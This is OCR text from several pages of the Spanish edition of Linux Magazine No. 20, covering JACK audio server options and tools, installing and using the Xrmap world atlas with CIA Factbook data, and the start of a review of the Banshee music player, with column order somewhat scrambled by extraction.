diferentes necesidades, ofreciendo una

conectividad de audio de la más elevada

calidad tales como AES/EBU y plugs

nivelados 1/4”, un gran número de cana-

les de audio de E/S, proporciones de

muestreo elevadas y capacidades de sin-

cronización de hardware. Estas tarjetas

de calidad profesional pueden o no

incluir hardware de conectividad MIDI, y

normalmente no incluyen funcionalida-

des para el consumidor, tales como

sintetizador interno o conector para

salida de audio del CD.

La diferencia entre ambos tipos se desdi-

buja si consideramos algunos

dispositivos avanzados pensados para el

mercado de consumo, y ciertamente es

posible alcanzar resultados de elevada

calidad con algunas de las más moder-

nas tarjetas de sonido. Sin embargo,

para resultados profesionales no hay

duda de que se necesitará hardware de

audio profesional.

Tarjetas de Sonido

Page 70: Linux Magazine - Edición en Castellano, Nº 20

LINUX USER • Jack

70 Número 20 W W W . L I N U X - M A G A Z I N E . E S

La primera vez que uno se encuentra con

JACK posiblemente se sienta confundido

por algunas de sus opciones. El breve suma-

rio que sigue servirá de ayuda para trabajar

con este fabuloso servidor.

En primer lugar, los parámetros de

configuración:

• -R, —realtime: Arranque de JACK con

programación de tiempo real prioritario.

Normalmente, esta opción estará habili-

tada, aunque hay que tener en cuenta de

que funciona solamente si se trabaja

como superusuario o se está ejecutando

un kernel que concede privilegios de

superusuario a usuarios normales. Los

kernels de distros como AGNULA/

Demudi y Planet CCRMA están prepara-

dos para este estado, aunque cualquier

kernel puede ser parcheado y modificado

para baja latencia con capacidades de

superusuario habilitadas. Jack O’Quin me

indicó que JACK solamente necesita pri-

vilegios de superusuario para

programación de tiempo real y bloqueo

de memoria. Pregunté a los miembros de

la lista de Linux Audio Users si había razo-

nes de peso para no usar la opción

realtime, y comprendí que JACK es útil

aún en sistemas sin capacidades de

tiempo real, por eso la opción. Además,

puede que desees apagar las capacida-

des de tiempo real en el caso de que se

estén probando o buscando errores en el

sistema.

• -m, —no mlock: Indica a JACK que man-

tenga la memoria sin bloquear. Paul Davis

explicó que esta opción podría ser útil

cuando se ejecuta JACK en tiempo real en

un sistema cuya memoria física RAM está

siendo consumida por JACK y sus clien-

tes.

• -u, —unlock: Desbloquea la memoria

requerida por herramientas gráficas

(GTK, QT, FLTK, WINE, etc.). De nuevo,

esta opción es útil para máquinas con

poca memoria (física RAM), aunque espe-

cialmente útil para usuarios ejecutando

plugins VST/VSTi y otras aplicaciones

dependientes de WINE. En algunos

casos, tales aplicaciones no se ejecutan

hasta que se selecciona esta opción.

• -s —softmode: Ignora los xruns presenta-

dos por un driver ALSA, haciendo menos

probable que JACK desconecte puertos

que no responden cuando se ejecuta sin

estado de tiempo real. Debería seleccio-

narse esta opción para evitar que se

produzcan demasiadas notificaciones de

error. Esta opción también es valiosa para

ejecuciones live.

• -S, —shorts: Fuerza a las E/S de JACK a 16

bits. Como manifestó Lee Revell, el trata-

miento interno de JACK se realiza

siempre en 32 bits y, por defecto, intentará

establecer la resolución de bits en sus eta-

pas de entrada y salida a 32, 24 y 16, en

este orden, informando de cada éxito o

fallo con cada intento. Los usuarios con

tarjetas que se saben funcionan óptima-

mente a 16 bits deberían usar esta opción

para evitar notificaciones de error.

• -H, —hwmon: Habilita el control de hard-

ware de los puertos de toma de ALSA,

proporcionando control de latencia cero

de entrada de audio. Requiere soporte

hardware y el driver del dispositivo. El

manual de jackd dice cuando se habilita

esta opción, “las demandas para contro-

lar los puertos de toma se satisfacerán

mediante la creación de una ruta de señal

directa entre la entrada de interfaz de

audio y los conectores de salida, sin su

procesamiento por parte del ordenador

anfiitrión. Esto ofrece la latencia más baja

posible para la señal monitorizada”.

• -M, —hwmeter: Otra opción exclusiva-

mente para ALSA. Habilita un contador

de hardware si es soportado por la tarjeta

de sonido. Paul Davis observa que esta

opción se usa con muy poca frecuencia y

probablemente sea eliminada en futuras

versiones.

• -z, —dither: El “dithering” es un proceso

que minimiza los efectos colaterales no

deseados al reducir un bit de profundidad

de un fichero de audio. El ruido de bajo

nivel está mezclado en una señal para

escoger al azar errores de cuantificación

de audio digital, transformando distorsio-

nes digitales desagradables y audibles en

algo más cercano semejante a un ruido

analógico. Según Paul Davis, el dithering

es especialmente útil cuando la salida de

la tarjeta de sonido es inferior a una reso-

lución de 24 bits y se ejecuta JACK en el

rate de sampleado real del hardware.

• -P, —realtime-priority: Establece la priori-

dad de programación de tiempo real.

Normalmente puede dejarse un valor por

defecto de 10 para esta configuración. Si

el kernel incluye preempción (por dere-

cho de prioridad), en tiempo real, puede

establecerse este valor al menos en 70

para mantener a JACK ejecutándose y

libre de interrupciones de handlers.

• -p, —port-max: Establece el número

máximo de puertos de salida. Esta opción

es especialmente valiosa para gente que

usa muchas pistas en Ardour. Por defecto,

128 debería ser suficiente para la mayoría

de los usuarios. QjackCt permite seleccio-

nar 512 puertos, aunque, hay muchos

más disponibles simepre y cuando se dis-

ponga de la memoria suficiente.

• -d, —driver: Selecciona el driver. De

hecho, con esta opción se está seleccio-

nando el programa de fondo del sistema

de audio. Actualmente los sistemas

soportados incluyen ALSA, OSS/Linux,

CoreAudio, PortAudio y un sistema “de

pega” (útil para pruebas). La mayoría de

los usurios Linux elegirán o ALSA u OSS.

• -r —rate: Establece el rate de sampleado

de JACK. El valor por defecto es de 48000

Hz, aunque será preciso experimentar

para determinar la proporción más ade-

cuada para cada sistema. Los sistemas

poco potentes tendrán que bajar la pro-

porción de sample para mejorar el

rendimiento, aunque generalmente se

precisará una proporción de al menos

44100 Hz para un sonido de alta calidad.

Obsérvese también que algunas tarjetas

de sonido (por ejemplo, la SB-Live) fun-

cionan bien solamente con un rate de

sampleado determinado.

• -p, —period: Especifica el número de cua-

dros entre las llamadas a la función

proce~(). El valor predeterminado es

1024, pero para baja latencia, se ha de dis-

minuir todo lo posible sin incurrir en

xruns. Los periodos más largos dan como

resultado una mayor latencia, pero

menor posibilidad de xruns, por tanto se

recomienda la experimentación para con-

seguir el nivel óptimo para el hardware.

Por cierto, man jackd nos informa de que

la latencia de entrada de JACK es (en

segundos) el —period dividido por el —

rate.

• -i, —inchannels; -o, —outchannels: Estas

opciones determinan el número de cana-

les de audio de E/S. El valor por de defecto

es el número máximo soportado por el

hardware.

• -n, —nperiods: Especifica el número de

periodos en el búfer de hardware. El valor

por defecto es el 2. El tamaño del periodo

(-p) multiplicado por —nperiods multipli-

cado por cuatro será igual al tamaño del

búfer de JACK en bytes.

• -C, —capture; -P, —playback; -D, —

duplex: Configura a JACK para sólo

grabación, sólo reproducción o full

duplex (reproducción y grabación simul-

táneos). Estas opciones pueden ser muy

importantes: Algunas tarjetas simple-

mente no funcionarán bien en modo

duplex, aunque sí lo harán bastante bien

en modo simple.

Opciones JACK

Page 71: Linux Magazine - Edición en Castellano, Nº 20

requiere un soporte especial. Sólo es

suficiente seguir el procedimiento de

instalación básico para nuestro sis-

tema, y voilá, dispondremos de

nuestro sistema JACK listo para su

uso.

Arranque de JACKEl servidor JACK arranca con jackd o

jackstart. Su manual (man jackd)

nos dice que jackd invoca el demo-

nio del servidor de JACK y que

jackstart es usado cuando se usan

las capacidades en tiempo real para

el soporte para la compilación de

JACK. Todas las opciones son las

mismas para cualquier invocación.

Para la mayoría de los usuarios que

trabajan con sistemas con un kernel

2.4 parcheado, jackstart será el

método preferido de arranque del

servidor. Los usuarios que trabajen

con kernel 2.6 deberían usar jackd.

Un ejemplo de un arranque senci-

llo:

jackd -R -d alsa -d hw:0

En este ejemplo JACK ha sido arran-

cado con capacidad de tiempo real,

conociéndose el programa de fondo

ALSA y direccionando el primer dis-

positivo de hardware en el sistema

de audio. -d hw:0 es, de hecho, inne-

cesario; la selección de hardware

siempre habilita -d hw:=0 por

defecto. Obviamente, debería usarse

un numero distinto para una tarjeta

diferente o para un chipset en un

sistema con múltiples dispositivos

de sonido.

A continuación se

muestra un ejemplo

un poco más com-

plejo para la tarjeta

de sonido SBLive:

jackstart -R -d

alsa -d hw:1~~

-p 512 -r

48000 -z s

Una vez más pue-

den apreciarse el tiempo real y las

opciones ALSA. El selector de dispo-

sitivo se enumera como hw:1 porque

SBLive es la segunda tarjeta en esta

máquina en particular. He añadido

opciones para el tamaño del búfer (-

p), para el rango de sample de JACK

(-r) y para la opción de dithering de

audio (-z).

Puede observarse que la opción -p

configura el tamaño del búfer de

software. Tal y como apuntó Jack

O’Quin, este es el tamaño del búfer

visto para todos los clientes de

JACK.

GUIs para JACKYa hemos podido ver a JACK en

acción en la línea de comandos. Sin

embargo, cuando funciona en un

entorno X es preferible disponer de

una GUI para la configuración y las

opciones de JACK y, gracias al

desarrollador Rui Nuno Capela,

disponemos del maravilloso QJackCtl

(Figura 1). Esta más que útil

aplicación proporciona una interfaz

gráfica todo en uno para configurar y

controlar todas las operaciones de

JACK. Además del apropiado diálogo

de configuración (Figura 2), QJC

facilita un panel de conexiones de

audio para clientes JACK y un juego

de controles de transporte (si desea

usarse QJC como el principal

transporte de JACK). QJC suministra

además paneles de presentación de

estado y mensajería, controles de

comienzo y parada del servidor, y

controles de reproducción/pausa para

el sistema de control de transporte de

JACK.

QJC incluye también un panel de

conexiones MIDI para clientes del

secuenciador de ALSA, permitiendo a

los usuarios administrar conectivida-

des de audio y MIDI desde una

interfaz de control única. Pueden sal-

varse y cargarse todas las conexiones

gráficas como un Perfil en la Patchbay

de QJC (Figura 3). La operación de

Patchbay no es lo suficientemente

automática, aunque ahorra una gran

cantidad de tiempo en el caso de que

existan un número elevado de cone-

xiones complejas.

QJC es mi herramienta favorita

para el control de JACK, si bien

Jack • LINUX USER

71Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Patchbay ayuda a administrar las conexiones.

Figura 4: Ptchage es un patchbay para JACK y ALSA.Figura 2: Cuadro de diálogo de configuración de QjackCtl.

Page 72: Linux Magazine - Edición en Castellano, Nº 20

herramientas de la línea de

comandos, tales como jack_connetc/

jack_disconnect (administra

conexiones a clientes), jack_metro

(un metrónomo configurable),

jack_lsp (lista puertos JACK, sus

conexiones y propiedades) y

jack_transport (administra el estado

de control de transporte de JACK).

JACK también ha inspirado toda

una serie de utilidades y herramien-

tas muy interesantes. JACK-Rack de

Bob Ham es un contenedor muy útil

para plugins LADSPA que permite

compilar un rack virtual de audio

procesando módulos con control

MIDI de parámetros de plugin.

JAMin de Steve Harris es el resul-

tado de un esfuerzo colectivo

llevado a cabo por los profesionales

de audio de Linux para crear una

interfaz de masterizado estéreo con

calidad profesional basada en plu-

gins que procesan señales de audio

LADSPA. El Timemachine es otro

regalo de Steve Harris. Esencial-

mente es un grabador que mantiene

siempre un búfer de los últimos diez

segundos de material grabado. Una

vez completamente armado, Time-

machine escribe el búfer al disco y

continúa grabando en tiempo real.

JAAA (JACK y ALSA Audio Analy-

ser) de Fons Adriaensen es un

generador de señal y un analizar de

espectro profesional diseñado para

mediciones de audio de alta preci-

sión. Y para mostrar que no existe

necesidad de una GUI, jack_con-

volve de Florian Schmidt es un

motor de circunvalación que se eje-

cuta desde la línea de comandos

basado en JACK, muy manejable

para la creación de efectos de rever-

beración de alta calidad y otros

interesantes sonidos.

Las URLs para éstas y otras

muchas aplicaciones JACK se

encuentran listadas en el sitio de

Linux Sound & MIDI Sotware [9].

JACK en AcciónLas figuras 5 y 6 muestran dos usos

típicos de JACK en Dave Studio. La

Figura 6 ilustra el uso simple en una

red MIDI audio-plus combinando el

secuenciador MIDI seq24, el sinteti-

zador basado en la fuente de sonido

QSynth y JACK-Rack, todos funcio-

nando en mi PII 306 Omnibook y su

humilde chipset Crystal Sound

CS4232. La Figura 5 muestra un

juego de routeado y conexiones más

ambicioso con el administrador E/S

de JACK.

Queda algo más que decir acerca

del uso de JACK en estos escenarios.

Una vez se ha configurado, su

existen al menos otras dos GUIs para

la administración de su

conectividad. El Patchage de Dave

Robillard es un patchbay tanto para

audio JACK como para la

conectividad MIDI ALSA a través de

su interfaz visual integrada (Figura

4). QJackConnect de Matthias

Nagorni es un buen patchbay basado

en QT de sólo JACK, aunque parece

que su proyecto de desarrollo aún se

encuentra parado.

Aplicaciones que UsanJACKEl soporte de JACK ha llegado a con-

vertirse en una característica

predeterminada en el nuevo software

de audio de Linux. Como resultado, la

lista de implementaciones ha llegado

a ser demasiado extensa como para

poderla reseñar aquí, aunque sus

dominios de implementación incluyen

sistemas de grabación de disco duro,

(Ardour, ecasound, Wired), cajas de

ritmo/secuenciadores (Hydrogen),

entornos de síntesis de sonido por

software (Csound5, SuperCollider3),

secuenciadores de audio/MIDI (Rose-

garden, MusE, seq24), editores de

ficheros de sonido (Snd, Audacity,

mh-WaveEdit, ReZound) y sintetiza-

dores de sonido (AMS, Om,

ZynAddSubFX). Otros proyectos de

relevancia que utilizan JACK incluyen

LinuxSampler y el proyecto de sam-

pler Specimen y distintos esquemas

para el soporte de plugins de audio

VST/VSTi bajo Linux (dichos esque-

mas requieren también software

WINE). Los sistemas de reproducción

de medios de Linux tales como MPla-

yer, XMMS y AlsaPlayer también

ofrecen soporte JACK.

Nótese que estas aplicaciones

varían según su nivel de soporte de

JACK. Algunos sólo usan la conectivi-

dad de audio, otros las

implementaciones parciales de su

control de transporte, mientras que

otros cuantos ya disfrutan de las ven-

tajas completas de las características

de JACK. Se aconseja consultar la

documentación para cualquier aplica-

ción que sea capaz de comunicase

con JACK para determinar el alcance

de su soporte.

El paquete básico de JACK incluye

un buen número de útiles

LINUX USER • Jack

72 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 5: Una configuración más ambiciosa de JACK.

Page 73: Linux Magazine - Edición en Castellano, Nº 20

funcionamiento es completamente

transparente. Todo cuanto he de

hacer es efectuar mis conexiones y

hacer mi música.

Programación de JACKLa programación con el API de JACK

es con mucho lo más complicado de

este artículo. Los lectores interesa-

dos en esto pueden encontrar

material con excelentes instruccio-

nes en el código fuente de JACK (ver

simple_client.c en el directorio

example_clients) y en distintos sitios

Web. El tutorial de James Shuttle-

worth en http://www.dis-dot-dat.

net/index.cgi?item=/jacktuts/

starting/ es una introducción muy

bien escrita para añadir JACK a una

simple aplicación de audio. Lewis

Berman ha contribuído a través del

escrito de su grabación de audio en

http://userpages.umbc.edu/

~berman3/ y, evidentemente, la API

de JACK puede ser leída y estudiada

en el bien comentado fichero de

cabecera jack.h.

Si se compila JACK personalmente

y se tiene instalado el software

doxygen, puede generarse la docu-

mentación del desarrollador de

JACK. Esta documentación también

se encuentra disponible en la página

web de JACK, pero ésta está un poco

desfasada, ya que se actualizó por

última vez el 15 de Septiembre de

2005.

El Futuro de JACKEn el año 2004 JACK ganó el bien

merecido premio de bronce en la

importante Merit Awards concedido

por la Open Source Initiative. En

aquel momento, el desarrollo de JACK

se encontraba en la versión 0.9x. En

el momento de escribir este artículo

JACK se encuentra en su versión

0.101.0, a punto de llegar la versión

1.0, augurándosele un buen futuro.

Stephane Letz ha portado con éxito

JACK a OSX. El soporte para OSX se

ha convertido en algo común en el

nuevo software de audio de Linux. Y,

por cierto, ya ha aparecido una imple-

mentación para Java.

Los músicos MIDI están familiariza-

dos con las implementaciones de

código de tiempo que todavía no

soporta JACK, por lo que sería muy

bien acogida una coordinación de las

capacidades de sincronización. Han

dado comienzo algunos trabajos en

esta dirección, así que es probable

que se produzca una fusión de MIDI y

JACK en el futuro.

Los atractivos de JACK parecen ser

irresistibles, pero puede que no sea la

mejor solución para los servicios

comunes de audio de escritorio. A

diferencia de ALSA, JACK no se

plantea la inclusión en las fuentes del

kernel de Linux, de modo que su

presencia en cualquier distribución

Linux es resultado de una decisión

tomada por el productor de la distro.

Además, JACK no es tan transparente

para el usuario como los servidores

artsd y esd, requiriendo más

configuración para obtener un mejor

rendimiento. No obstante, JACK es un

sistema muy flexible pudiendo llegar

a convertirse en el servidor de audio

de facto para el escritorio Linux.

Para los que se inclinan hacia un

uso profesional de audio, JACK es un

regalo celestial. Su estabilidad de fun-

cionamiento ya ha sido probada y

verificada a través de la elevada

demanda de aplicaciones de audio

real a nivel mundial y su aplicabili-

dad puede verse en el aumento de la

cantidad de programas basados en

JACK, que cada vez son más podero-

sos. El API de JACK ha allanado el

camino para una nueva ola de aplica-

ciones de audio de Linux de alta

calidad. Tanto si se necesita que fun-

cione un sistema de audio manera

cien por cien estable para Ardour,

como si lo que se desea es algo diver-

tido para enrutar la salida de XMMS,

hay que conocer JACK. �

Jack • LINUX USER

73Número 20W W W . L I N U X - M A G A Z I N E . E S

[1] Sitio web de JACK: http://jackit.

sourceforge.net

[2] Tabla de compatibilidad de tarjetas de

sonido con ALSA: http://www.

alsa-project.org/alsa-doc/

[3] Patchage: http://www.scs.carleton.ca/

~drobilla/patchage/

[4] QJackConnect: http://www.suse.de/

~mana/jack.html

[5] QJackCtl: http://qjackctl.sourceforge.

net

[6] Entrevista con Paul Davis en

Builder.com: http://builder.com.com/

5100-6375-5136755.html?tag=tt

[7] Mini-HOWTO de baja latencia: http://

www.djcj.org/LAU/guide/

Low_latency-Mini-HOWTO.php3

[8] Notas de Florian Schmidt para compi-

lar un kernel 2.6 de baja latencia:

http://tapas.affenbande.org/

?page_id=3

[9] La página de JACK en linux-

sound.org: http://linux-sound.org/jack.

html

RECURSOS

Figura 6: JACK con una red audio-plus-MIDI.

Page 74: Linux Magazine - Edición en Castellano, Nº 20

LINUX USER • Desktopia: Xrmap

74 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Xrmap es una herramienta que sumi-

nistra acceso a una interesante

colección de datos: el libro Factbook

de la CIA [4], el cual contiene un importante

conjunto de detalles de la extensa base de

datos de la CIA.

Según el proyecto de la página de inicio, los

mapas vectoriales muestran un total de 20.000

ciudades junto con aeropuertos, montañas y

observatorios. Estos datos se encuentran

todos disponibles en un fichero empaquetado.

Xrmap es la puerta de entrada a este conjunto

de datos, permitiendo a los usuarios un acceso

rápido a través de una GUI que funciona en

cualquier sistema X11.

Instalación de XrmapLos archivos RPM y tar de Xrmap se encuen-

tran disponibles en la página de inicio del

proyecto en [1]. Si se prefiere instalarlo a partir

del código fuente, se descarga el tarball, se

desempaqueta el archivo y se cambia al direc-

torio:

tar xvjf Xrmap-2.33.tar.bz2

cd Xrmap-2.33/

El paso siguiente consiste en editar el fichero

Imakefile. En este fichero las variables permi-

ten especificar el directorio en el que se

instalarán los componentes del programa

Xrmap:

XCOMM

Install to /usr or /usr/local

DESTDIR=/usr

Si se mantienen los valores predeterminados,

las partes del software, tales como las páginas

de los manuales o los ficheros binarios, se

situarán bajo /usr en el árbol de directorios.

Bajo la línea de comentario XCOMM

Default External utilities se encontrarán las

herramientas externas que Xrmap usa para

visionar las páginas HTML y los ficheros

Postscripts o para reproducir ficheros MIDI:

PS_VIEWER=”gv -noantialias”

IM_VIEWER=”display U

-background gray84”

HTML_VIEWER=”dillo”

PRINT_CMD=”lpr -Plp”

EDITOR=”emx -fn 9x15”

MIDIPLAYER=”timidity -ig”

si se prefiere usar un visor diferente de la

herramienta de presentación por defecto será

preciso modificar la variable IM_VIEWER para

que la nueva elección quede reflejada. Esto

también se aplica a otras variables de

configuración en esta sección. En nuestro

laboratorio observamos que arrancando algu-

nos editores de texto desde Xrmap se

producían algunos problemas. Por ejemplo, el

editor Gvim aparecía con páginas vacías.

Como las herramientas por defecto son

todas programas excelentes, será preferible

mantenerlas antes que modificar Imakefile.

Siempre pueden establecerse las opciones en

la línea de comandos para cambiar las herra-

mientas externas posteriormente.

La distribución de Suse actual incluye

Ghostview (gv), Timidity y el paquete Image-

magic, el cual incluye Display. El único

programa del que carecen la mayoría de las

distribuciones es Dillo, el rápido navegador

web que puede ser descargado desde la web

[2]. El editor Emx, por cierto, es un compo-

nente de Xrmap.

Después de modificar Imakefile para adap-

tarlo a tus gustos y de salvar el fichero, se

introduce el comando xmkmf y, finalmente,

para compilar el programa, make.

Una vez que make haya completado la

compilación, se mostrará un mensaje indi-

cando los ficheros internos que necesita el

programa. Es una buena idea copiar el texto

desde la ventana de la shell a un fichero de

texto; puede que sea preciso hacer referencia a

esta salida después.

Pero concentrémonos en la instalación de

Xrmap. En primer lugar se introduce el

comando su para convertirse en superusua-

rio. A continuación se ejecuta el comando

make -n install | less para comprobar si la

configuración guarda los componentes,

tales como el manual, en los directorios

especificados.

Si la prueba es de nuestra entera satisfac-

ción, hay que convertirse en superusuario y

emitir al comando make install. Ha llegado

la hora de prestar atención a la salida de los

ficheros de datos en el mensaje. Los ficheros

La vuelta al mundo con Xrmap.

ATLAS DIGITALSi deseas llegar a convertirte en un experto en geografía mundial ayúdate

con la CIA. POR ANDREAS KNEIB

Page 75: Linux Magazine - Edición en Castellano, Nº 20

incluyen el mapa comprimido

CIA_WDB2.jpd.bz2, el tarball con las ban-

deras nacionales flags-2.5-eps.tar.bz2 o el

Factbook de la CIA en formato HTML, titu-

lado factbook_html_2005.tar.bz2 . El

mensaje clasifica estos ficheros en catego-

rías requeridas, recomendadas y

opcionales.

Este material puede descargarse desde el

servidor ftp del proyecto en [4]. Los ficheros

tienen un tamaño de entre 26MB y 476MB,

así que se es una buena idea elegir los

paquetes en función el ancho de banda dis-

ponible.

Tras completar la descarga se mueven los

ficheros al directorio compartido especifi-

cado en SHAREDIR en Imakefile, en nuestro

ejemplo éste sería /usr/local/share/rmap.

Luego se cambia al directorio SHAREDIR y

se desempaquetan las extensiones compri-

midas:

cd /usr/local/share/rmap

for i in *.tar.bz2: U

do tar xvjf $i; done

Xrmap ya está listo para ser usado.

Ciudades, Países, RíosUna vez completado el proceso de instala-

ción de Xrmap hacer uso del software se

convierte en un juego de niños. Se escribe

xrmap en la shell para arrancar el pro-

grama. Xrmap muestra un globo terraqueo.

Pulsando la tecla [+] se amplia el mapa,

mientras que la tecla menos [-] reduce la

resolución de la selección visible. Las teclas

de cursor permiten moverse de un lugar a

otro en el mapa. Como alternativa, puede

hacerse clic derecho en un campo del

mapa; el software ampliará esta selección

para ofrecer una visión más detallada.

El botón central del ratón abre un menú

en el que pueden elegirse algunas opciones

haciendo clic sobre las letras resaltadas. Por

ejemplo, la tecla [O] abre el editor para las

opciones de configuración. Luego puede

seleccionarse File y a continuación el pará-

metro External Programs en el submenú.

Ahora puede modificarse la herramienta

que se especificó previamente en el Imake-

file. Haciendo clic en el cuadro browser

HTML y cambiando el texto del cuadro de

Dillo a Firefox, le dirá a Xrmap que use

Mozilla Firefox para visionar las páginas

HTML en el Factbook de la CIA.

Las opciones son bastante completas,

abarcando un amplio abanico de temas,

que van desde la configuración de

impresión, mapas que se usarán, opciones

de color destacados y búsqueda de

configuraciones para países, ciudades y

regiones. También pueden destacarse los

aeropuertos, las cumbres de las montañas,

observatorios o las longitudes y latitudes.

Los atajos de teclado son el modo más

rápido de acceder a muchos parámetros. La

tecla [I] nos da los nombres de las ciudades;

pulsando [A] se muestran los aeropuertos y

sus nombres. Para ver los observatorios se

pulsa la tecla [B]. Los nombres de países y

océanos se ven pulsando [L] y con [P] se

mostrarán los picos de las montañas.

Puede pulsarse una tecla para cambiar la

vista de una ciudad, mostrar una ciudad

con su nombre u ocultarla. La tecla [:] abre

un mapa topográfico de la región seleccio-

nada.

Ya se está familiarizado con las funciones

que los botones del ratón derecho y central

nos proporcionan, por lo que a continua-

ción hablaremos del botón izquierdo.

Cuando pasas el ratón por encima de una

ciudad y pulsas el botón izquierdo, aparece

el cuadro City & Country. Este cuadro ofrece

información útil sobre la ciudad y el país

que se han resaltado. La ventana proporcio-

nará toda la información sobre el estado en

el que está localizada la ciudad y también se

complementará con las características geo-

gráficas del estado y el crecimiento de la

población.

Para aeropuertos, Xrmap proporciona el

código de aeropuerto y el largo de la pista.

Para las cumbres, nos informará de la cor-

dillera a la que pertenece, junto con la

altura, evidentemente.

No importa si se ha seleccionado una

ciudad, cumbre, observatorio o un aero-

puerto, la ventana siguiente proporcionará

información acerca del país y seis botones.

De izquierda a derecha los botones ofrecen

datos del país, extraído del Factbook de la

CIA, el texto del himno nacional, la melo-

día del himno nacional y la bandera como

un fichero Postscript, PDF o gráfico. El

último botón centra la imagen en la ven-

tana.

Como Xrmap conoce al menos 1.000

caminos que conducen a Roma, también

dispone de un importante número de pará-

metros de la línea de comandos. El manual

ofrece a los usuarios una lista de más de

ochenta opciones que pueden ser estable-

cidas desde la shell. Para obtener la ayuda

de Xrmap puede ejecutarse man xrmap en

la línea de comandos o bien pulsar la tecla

[H].

En lugar de configurar atajos de teclado y

configuraciones, simplemente pueden

pasarse las opciones de la línea de coman-

dos a la herramienta. Por ejemplo, se le

puede decir al programa que muestre +

cities y +airports. Para restringir la herra-

mienta a un mapa de Europa debería

especificarse -continent 3 , pudiendo car-

garse los ficheros del país en el editor

especificando -editor xedit.

Para ver el mapa de un lugar determinado

se especifican los parámetros -latitude y

longitude, por ejemplo: xrmap -latitude

40.4165 -longitude -3.7035 -zoom 10 + +

cities.

Este ejemplo nos lleva hasta el mapa de

Madrid (concretamente a la Puerta del Sol),

escala la visión diez veces (-zoom 10) y

muestra el nombre de la ciudad ( ++

cities). Puede elegirse cualquier punto de la

tierra.

ConclusiónAunque pueda resultar problemática la ins-

talación desde el código fuente, y a pesar de

que muchos añadidos no sean exactamente

ligeros de peso, Xrmap es una herramienta

potente, flexible y sorprendentemente sim-

ple para el estudio geográfico del mundo. �

Figura 1: El Factbook de la CIA da a los

usuarios información muy valiosa de todos

los países del mundo.

[1] Página de Xrmap: http://frmas.free.fr/

li_1.html#_Xrmap

[2] Navegador web de Dillo: http://www.

dillo.org

[3] Servidor FTP con datos añadidos: ftp.

ac_grenoble.fr/ge/geosciences/xrmap/

data/

[4] Factbook de la CIA: http://www.cia.

gov/cia/publications/factbook

RECURSOS

Desktopia: Xrmap • LINUX USER

75Número 20W W W . L I N U X - M A G A Z I N E . E S

Page 76: Linux Magazine - Edición en Castellano, Nº 20

LINUX USER • Banshee

76 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Si posees cientos de pistas digi-

tales en el PC, necesitarás de

vez en cuando organizarlas

bajo una determinada estructura. La

tendencia iniciada por los iTunes de

Apple ha dado como resultado una

potente cosecha, de fácil uso, de

reproductores de audio bajo Linux.

En este artículo revisaremos el pro-

grama de audio Banshee que fue

escrito en Mono y que ha ido

ganando popularidad. Concretamente

nos centraremos en la versión actual

de Banshee, la 0.10.12.

Instalación

Banshee está basado en la infraes-

tructura Mono, por lo que habrá que

resolver un número determinado de

dependencias antes de comenzar.

Afortunadamente, existen binarios

pre-compilados para las versiones

más recientes de las distribuciones

Suse, Debian, Ubuntu, Fedora, Gen-

too, Mandriva y Foresight. Un Howto

de la página de inicio de Banshee [1]

dice cómo añadir los recursos de ins-

talación a tu sistema.

La instalación depende de las

características que se necesiten.

Como esta herramienta está basada

en la infraestructura GStreamer,

serán precisos plugins GStreamer

para Ogg o MP3, por ejemplo, para

reproducir formatos de audio. Si se

dispone de Ubuntu Dapper o de

Debian Sid pueden instalarse gstrea-

mer0.10-plugins-base,

gstreamer0.10-plugins-good y gstrea-

mer0.10-plugins-ugly para añadir esas

capacidades.

Si Banshee no se encuentra en

nuestra distribución, o si se desea la

última versión del programa, habrá

que remangarse y compilar los

paquetes fuente manualmente. No es

que sea imposible, aunque sí es

extremado el tiempo que se necesita

para resolver todas las dependencias.

El HOWTO de la página de inicio de

La gramola Mono para el escritorio Gnome

BANSHEEEn la mitología celta, las llamadas de duelo del Banshee se oyen

cuando un miembro de la familia está próximo a morir. La herramienta

Banshee de Linux también hace ruido, pero afortunadamente mucho

más alegre. Este otro Banshee te ayuda a organizar (y reproducir) tu

colección de música. POR RÜDIGER ARP

ID3: “Identificar un MP3”: información

adicional que pueden almacenar los

ficheros de audio formateados como

MP3. Puede contener, por ejemplo, el

nombre de la pista, artista y género.

GLOSARIO

Page 77: Linux Magazine - Edición en Castellano, Nº 20

función: Library, Encoding, Burning

y Advanced. Library es donde se

establece la ruta a la carpeta de

música de Banshee y dice si se

quiere que Banshee copie los

ficheros de audio desde la librería

que se está importando a esta

carpeta. Esta función es muy útil

para los propietarios de portátiles

que almacenan pistas en sus

ordenadores de sobremesa o

servidores pero que no quieren estar

sin música cuando viajan.

La solapa Encoding tiene detalles

sobre los formatos de los ficheros y

el bitrate en el que los CDs de audio

ripearán a disco. También es aquí

donde se encontrarán las configura-

ciones para los reproductores iPod

MP3 de Apple si tienes uno de ellos.

Burning dispone de configuraciones

para tostar CDs. La solapa Advanced

muestra el motor de audio que usa

Banshee.

Para importar una colección de

pistas se selecciona Music | Import

Music. Una advertencia: Cuando

intenté importar unos 740 ficheros

Ogg y MP3 desde un disco local,

tuve que reiniciar la operación múl-

tiples veces antes de que acabara

completamente, porque Banshee ten-

día a colgarse.

Tras completar la importación ori-

ginal, las sesiones de importación

siguientes se completaron sin pro-

blemas, y no tuve ninguna dificultad

a la hora de hacer que Banshee

hablara con mi iPod. Tan pronto

como enchufé el reproductor al

puerto USB, el programa mostró la

librería de la pista almacenada en el

iPod. Fue fácil transferir pistas entre

Banshee y el iPod.

Listas de ReproducciónLa interfaz de usuario de Banshee de

doble panel es ordenada hasta el

punto de ser espartana. Cuando se

comienza, el panel izquierdo tiene

una única entrada: Music Library, el

contenido se muestra a la derecha.

De momento Banshee no soporta

tipos de listas de reproducción inte-

ligentes con las que puede que estés

familiarizado (por ejemplo

Rhythmbox [3] o Amarok [4]) las

cuales muestran las últimas cancio-

nes reproducidas.

Banshee [2] será de ayuda para todos

aquéllos que sean lo suficientemente

valientes para intentarlo. Si se posee

un reproductor externo como un iPod

Apple o un Jukebox Nomad, se

encuentran disponibles determinadas

librerías adicionales para su instala-

ción para que el reproductor se

entienda con Banshee.

Dame de ComerTras completar la instalación, es

posible abrir las configuraciones del

programa bajo Edit | Properties antes

de comenzar a importar las pistas. El

programa usará estas configuracio-

nes más tarde para tareas como la

grabación de CDs de audio.

Las configuraciones están

hábilmente divididas según la

Figura 1: Banshee maneja los CDs de audio y pistas editadas por Rhytmbox.

